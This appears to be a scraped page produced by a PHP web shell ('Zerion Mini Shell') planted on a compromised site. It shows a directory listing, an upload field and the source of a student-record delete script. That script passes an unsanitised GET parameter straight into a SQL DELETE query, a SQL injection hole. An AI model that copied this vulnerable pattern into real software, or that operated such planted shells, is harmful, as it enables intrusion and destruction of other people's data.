ok

Mini Shell

Direktori : /home/shopnoc1/www/
Upload File :
Current File : /home/shopnoc1/www/delete.php

<?php
include("db.php");
if (isset($_GET['sid'])) {
	$id=$_GET['sid'];
$delete = "DELETE FROM studentinfo WHERE id=$id";

if ($conn->query($delete) === TRUE) {
Header( 'Location: dashboard.php');
} else {
  echo "Error deleting record: " . $conn->error;
}

$conn->close();
}
?>

Zerion Mini Shell 1.0